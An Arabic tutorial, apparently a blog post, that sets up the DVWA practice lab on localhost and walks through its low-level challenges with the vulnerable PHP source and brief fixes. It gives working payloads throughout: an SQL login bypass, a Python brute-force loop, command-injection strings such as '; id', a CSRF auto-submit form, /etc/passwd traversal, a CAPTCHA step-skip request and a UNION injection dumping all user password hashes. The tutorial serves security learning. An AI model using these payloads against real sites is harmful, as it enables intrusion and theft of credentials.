بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة
سنشرح اليوم بإذن الله كيفية اكتشاف الثغرات واستغلالها وترقيعها
ملاحظة: غير مسؤول عن أي استخدام سيء لما يشرح هنا ( الشرح للمعرفة والحماية )
يجب ان يكون لديك معرفة بالتعامل مع مواقع الويب والسيرفرات الشخصية وانشاء قواعد البيانات
بإمكانك رؤية جميع التحديات عن طريق اليوتيوب بكتابة اسم المشروع DVWA وستجد طرق الحلول جميعاً
بدايةً نقوم بانزال سكربت DVWA
نقوم بتشغيل السيرفر الشخصي Xampp او اباتشي او اي سيرفر شخصي تقوم باستعماله
ونقوم بفك ضغط الملف الذي قمنا بتحميله DVWA الى مسار www للاباتشي او htdocs لمستخدمين xampp
نقوم بالدخول الى قاعدة البيانات
localhost/phpmyadmin
نقوم بانشاء قاعدة بيانات جديدة فرضا نعطيها اسم dvwa او اي اسم تريد
بعد انشاء قاعدة البيانات نذهب الى مجلد المشروع الذي قمنا بفك الضغط عنه وهو باسم DVWA-master
ندخل بداخله ومن ثم داخل مجلد config
سنجد ملف واحد بداخله
└── config.inc.php.dist
نقوم بعمل نسخة من هذا الملف او تعديل الاسم حسب ماتريد والافضل اخذ نسخة منه وتسميته باسم
└── config.inc.php
نقوم بفتح الملف بالمحرر
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';#اسم قاعدة البيانات
$_DVWA[ 'db_user' ] = 'root';#يوزر قاعدة البيانات
$_DVWA[ 'db_password' ] = 'password';# الرقم السري للقاعدة إن وجد
نعدل اعدادات الكونفيج ونضيف اسم قاعدة البيانات التي قمنا بانشائها سابقا باسم dvwa
بعد الانتهاء وحفظ الملف نتوجه الى صفحة المشروع
http://localhost/DVWA-master/setup.php
نقوم بانشاء جداول قاعدة البيانات ونتبع الخطوات
ملاحظة: لو ظهرت اي اخطاء او دوال باللون الاحمر تعديلها سيكون من ملف php.ini الخاص بالسيرفر الشخصي ابحث بقوقل عن طرق التفعيل والتعطيل
بعد الانتهاء من ماسبق وتنصيب كل شي سيقوم تلقائيا بتحويلنا لصفحة الدخول
username:admin
pass: password
اسم المستخدم والرقم السري الافتراضيات
نقوم بتسجيل الدخول الى المشروع
الان نختار مدى صعوبة اختبار الاختراق
من القائمة اليسرى خيار DVWA security
نختار صعوبة الاختبار
قم باختيار low وهي اسهل مراحل الاختبار وقم بالضغط submit لحفظ التغييرات
الان الثغرات او الاختبارات التي سنجري عليها اختباراتنا
- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
Brute Force
الترجمة الفعلية القوة الغاشمة ( الدخول العنيف) والمشهور التخمين
بعد الدخول الى صفحة brute force سيظهر لنا خانتين خانة اليوزر وخانة الرقم السري الباسوورد
http://localhost/DVWA-master/vulnerabilities/brute/
سنقوم بتجربة اي اسم ورقم سري كمثال
user:admin
password:1234556
ونضغظ دخول
localhost/DVWA-master/vulnerabilities/brute/?username=admin&password=123456&Login=Login
:( عملية الارسال هي من نوع GET
ورسالة الخطا التي ظهرت لدينا هي
Username and/or password incorrect.
كود صفحة تسجيل الدخول من المشروع
Brute Force Source
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
وللتوضيح الكود السابق باختصار,
شرط لو كان الارسال من نوع GET وايضا login يقوم بجلب اليوزر المرسل والباسورد
ويقوم بتشفير الباسورد تشفيره من نوع md5 قبل الاستعلام من قاعدة البيانات
ومن ثم يقوم بالاستعلام من المرسل عن طريق قاعدة البيانات
ايضا لمن لديه خبرة برمجية سيعلم ان هناك ثغرة خطيره جداً سنتكلم عنها باختصار
الثغرة من نوع Bypass تخطي الرقم السري وهي تعتبر injection ولكن الاسم المشهور لها Bypass
admin' or '1=1-- -
هذه الثغرة من اخطر الانواع وهي تجاوز لوحة التحكم فقط نضع الكود السابق بخانة اسم المستخدم ونتجاهل الرقم السري وسيقوم بادخالنا
ولكن ليست هي الثغرة المقصودة بالمشروع المشروع يتكلم عن التخمين فقط
نرجع لموضوع المشروع الا وهو التخمين
طبعا سنعمل محاكاة لنفس الفكرة ونقوم بعمل اداة تخمين بلغة البايثون
import requests
password = ['123456','121212','admin','password','login']
ses = requests.Session()
for i in password:
get = ses.get("http://localhost/DVWA-master/vulnerabilities/brute/?username=admin&password={}&Login=Login".format(i))
if "Username and/or password incorrect." not in get.text:
print("Done {}".format(i))
break
else:
print("Error {}".format(i))
هذا كمثال بسيط جداً لعمل محاكاة لن تنجح الاداة بتطبيقها على المشروع لسبب وهو يلزمنا تسجيل الدخول الاساسي admin password
ولكن لم ارغب بان اقوم بتعقيد الاداة وعمل حفظ للجلسة لان مانريد شرحه هي نقطة التخمين وتوضيحها للوحات حقيقية
والتخمين لايستهان به ابداً
وطرق الحماية من التخمين هناك عدة طرق
استخدام CAPTCHA او حظر العضوية عند ثلاث محاولات دخول خاطئه لمدة 15 دقيقه او حظر الايبي عند عمل عدة محاولات
وطرق الحماية كثيره جدا
في تحديث مقالنا القادم ان شاء الله سنتكلم عن Command Injection
تطبيق اوامر النظام وتجاوز الحماية
Command Injection
هذا النوع من الثغرات هي تطبيق اوامر النظام مثل الاوامر التي نقوم بتطبيقها بالترمنال او شاشة الدوس
في كل لغة هناك دوال جاهزة لتنفيذ اوامر على النظام مثل system or shell_exec وغيرها كثير
يحتاج مبرمجون المواقع احيانا لاستخدام بعض الاوامر
في هذا التحدي يتم وضع موقع لعمل ping لهذا الموقع
كما في الصورة التاليه
نضع الموقع او الايبي لكي يتم عمل ping
نرى سورس كود المشروع
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
مثل ماتشوفون بداية السورس شرط اذا كان نوع الارسال POST وتم تعيين Submit
يتم ارسال المدخل $_REQUEST['ip']
ومن ثم هناك شرط يتحقق من نوع النظام اللي شغال عليه المشروع لو كان ويندوز يطبق الامر
ping $target
طبعا target هو الايبي الذي سيقوم المستخدم بادخاله لعمل ping
اما لو كان نوع النظام لينكس يتم تطبيق الامر
ping -c 4 $target
واخر شيء طباعة النتيجة
طيب لو اردنا ان نضيف اوامر اخرى غير التي قام بوضعها المبرمج
بكل بساطة && تعني و بمعنى انه بعد عمل ping والانتهاء منه يقوم بعمل امر اخر
127.0.0.1 && id
#or
127.0.0.1 && pwd
# او نقوم بعمل نهاية للامر وبدا امر جديد
127.0.0.1; id
ماسبق تخطيان ويوجد الكثير من التخطيات ولكن هذا للمستوى السهل لااريد ان اتعمق
طبعا هناك كثير من انواع الحماية ولكن التعابير القياسية ستفي بالغرض وهي التحقق من المدخل انه ايبي فقط لاغير وغير ذلك يتم منع العملية من الاستمرار
التحديث القادم ان شاء الله
CSRF
تزوير الطلبات :) Cross-Site Request Forgery
هذي لها مصايب عجيبه وطاحت فيها سكربتات ضخمه مثل سكربت whm الخاص بادارة الاستضافة والسيرفرات وغيره الكثير الكثير والوورد برس و و و الى ماتتعب وانت تشوف مصايبها
قبل نتكلم عنها بالتفصيل شوي نشوف التحدي اللي مقدم من المشروع
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
الكود بكل اختصار وبدون تفصيل تغيير الرقم السري للعضوية وطريقة ترقيع مثل هذه الثغرة تحديداً ركز على كلمة تحديداً - هو طلب الرقم السري القديم وبعدين يقدر يسوي تعديل على الرقم السري الجديد
ليش قلت تحديدا على النوع هذا لان مثل هالثغره مو خاصة بتعديل الرقم السري
فرضا انت مدير موقع ولك صلاحيات اضافة مدراء اسم المستخدم الرقم السري الايميل :) احتمال تصاب بالثغره هذي بكل بساطة :)
طيب طريقة استغلال هالنوع هذا من الثغرات
لها طرق كثيره مره مره لكن بما اننا بالمستوى البسيط هذا
تعديل الباسورد هنا من نوع GET
http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change
الرابط هذا عطه الضحية مجرد مايضغط عليه ويكون مسجل دخوله للموقع يتم تعديل الرقم السري الخاص فيه
هذا حل التحدي بذا المشروع
اما لو كان الطلب من نوع POST
<body onload="submitform()">
<form name="myForm" action="http://localhost/DVWA-master/vulnerabilities/csrf/" method="get">
<input type='hidden' name='password_new' value='admin'>
<input type='hidden' name='password_conf' value='admin'>
<input type='hidden' name='Change' value='Change'>
</form>
نقدر نسوي صفحة html بسيطة مشابهه لموقع الضحية ويغير الرقم السري ويتسجل ايضا بملف log.txt
لكن مستحيل تحصل ضحية بالنوعيه هذي :)
الحل نسوي دالة بالجافا سكربت submitform
وظيفتها مجرد مايفتح الرابط الخاص بصفحتنا تلقائيا ترسل التعديلات على الرقم السري ويتعدل ونقدر نسجل الدخول بعضويته ونعدل اللي نبي :)
طبعا النوع هذا من الثغرات اكثر من كذا واكبر
الحل الخاص فيه مايسمى بالتوكن token حقل يتم توليد قيمه له اثناء كل دخول للصفحة وارسال تعديلات مثل الكابتشا لكن مخفي ويتولد بشكل تلقائي
له تخطي؟
نعم له تخطيات مو تخطي ولكن تخطياته بمراحل متقدمة جدا وتحديدا دمج ثغرة xss لمثل هذا النوع من الثغرات
عموما هذا هو التحدي البسيط
File Inclusion
تضمين الملف
او قرائة الملف
السورس كود
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
ومن ثم قرائة دالة file
تمريرها باحد دوال القرائة او التنفيذ او الى اخره بدون حماية
مثلا هنا بتحدينا هذا
http://localhost/DVWA-master/vulnerabilities/fi/?page=file3.php
يقوم بقرائة الملف بشكل مباشر file3.php
طيب لو اردت ان اقرا ملفات مهمة على السيرفر مثلا
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../../../../etc/passwd
تم قرائة ملف passwd بكل بساطة وغيره الكثير الكثير
التحدي القادم بالتحديث القادم ان شاء الله
File Upload
تحميل الملفات الضاره هي عدم التحقق من امتداد الملف ويستطيع المخترق رفع ملف php يسمح له بالتحكم بالسيرفر
طريقة الترقيع لها عدة طرق اسهلها التحقق من امتداد الملف واعادة تسمية الملف
ولكن بالامكان تخطيها
الطريقة الثانيه التحقق من ابعاد الصورة باستخدام الدوال الجاهزة بنفس اللغة لو كانت الملفات عباره عن صور
طبعا لم افصل في هذه الثغرة لان شرحها يحتاج مقال كامل وسنجعل لها مقال مستقبلا لو اتيحت الفرصة ان شاء الله ولكن تم ذكرها لمعرفة هذا النوع من الثغرات
Insecure CAPTCHA
تجاوز الكابتشا المقدمة من قوقل
Unknown Vulnerability Source
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
بعض المبرمجين يقع باخطاء تسبب كوارث كما في الكود السابق
هناك شرط ثاني وهو
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
اذا سنتجاوز الشرط الاول ولانعير له اي اهتمام
سنرسل البيانات عباره عن POST
وسيكون مباشره للخطوة الثانيه
#Data Post
password_new=123&password_conf=123&step=2&Change=Change
فقط تحقق بالشرط الاول من الكابتشا لكن الشرط الثاني لم يتحقق بإهمال من المبرمج انه يلزم ان يمر بالخطوة الاولى ثم ينتقل للثانيه
لكن الفاحص او المختبر انتقل مباشرة للخطوة الثانية
step=2
وبكذا تم تغيير الرقم السري بدون اي كابتشا
SQL Injection
ثغرات الحقن :) هذه الثغرات مازالت الاقوى رغم الحمايات المهولة ولكن تبقى المتصدرة لعام 2018
ماهي هذه الثغرات
لنشرحها من نفس المشروع ونرى سورس كود المشروع
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
الكود يشرح نفسه
عباره عن طلب من نوع GET فيه قيمتين
الاولى هي التحقق انه تم تعيين Submit
الثانيه رقم الاي دي المراد الاستعلام عنه
ولدينا هنا متغير $id
سيحمل القيمة الرقمية المراد الاستعلام عنها
لو قمنا بكتابة الرقم 1 وانتر
سيعيد لنا بيانات admin
سيكون الاستعلام كالتالي
SELECT first_name, last_name FROM users WHERE user_id = '1';
استبدل قيمة المتغير بالرقم المدخل 1
طيب ماذا لو اغلقنا الاستعلام ؟ واضفنا '
مالذي يحصل
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1
اكيد سيظهر خطا بطريقة كتابة syntax لغة sql
طريقة استغلال هذا النوع من الثغرات هو دمج استعلامات اخرى
سنقوم بداية بمعرفة عدد الاعمدة الموجودة في قاعدة البيانات
سنقوم بتطبيق الامر التالي
1'+order+by+1-- -
1'+order+by+2-- -
1'+order+by+3-- -
نجربها الى ان نحصر عدد الاعمدة
حين قمنا بتجربة 3 ظهر لدينا
Unknown column '3' in 'order clause'
لايوجد عمود من الاساس
لكن الرقم 2
ستظهر لنا معلومات العضوية التي طلبناها التي تحمل الاي دي رقم 1
ولكن للتوضيح ان الخطا ذهب ولم يرجع مرة اخرى
اذا عرفنا ان لدينا عمودان فقط
الان سنقوم بعمل اتحاد union
وندمج استعلام اخر
1'+union+select+1,2-- -
الاعمدة 1و2
هي التي وجدناها حين استعلمنا بالامر
order
ولو كانت عشره سيكون
1'+union+select+1,2,3,4,5,6,7,8,9,10-- -
بعد تطبيق الاستعلام التالي
1'+union+select+1,2-- -
سيظهر لنا العمود المصاب
بحالتنا هذه العمود 2 هو المصاب
اذا ستكون اوامرنا داخل هذا العمود المصاب
1'+union+select+1,@@version-- -
استعلمنا عن اصدار قاعدة البيانات
لو اردنا معرفة يوزر القاعدة
1'+union+select+1,@@user-- -
والحقن يلزمك ان تكون خبير في لغة sql
لان ماسبق ماهو الا نقطة في بحر من هذه الثغرة
وسأختصر هذه الثغرة الى اخر نقطة وهي لو اردنا ان نستعلم عن الرقم السري والباسورد لكامل الاعضاء
1'+union+select+1,group_concat(user,0x27,password) from users-- -
سيقوم بجلب كل اليوزرات وبجانبها الارقام السريه وبينها نقطة 0x27 هي ' فقط للتفرقه بين اليوزر والرقم السري
from user
يعني من جدول اليوزرات
نفس طريقة الاستعلام المعروفه عندما تبرمج
SELECT user, password from user
هي بنفس الطريقة
طريقة ترقيع ماسبق هي فقط جعل المدخل من نوع رقمي int ترقيع لايتجاوز ثلاث حروف
SQL Injection (Blind)
التحديث القادم ان شاء الله الحقن الاعمى وهو يختلف جذريا عن الحقن العادي
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !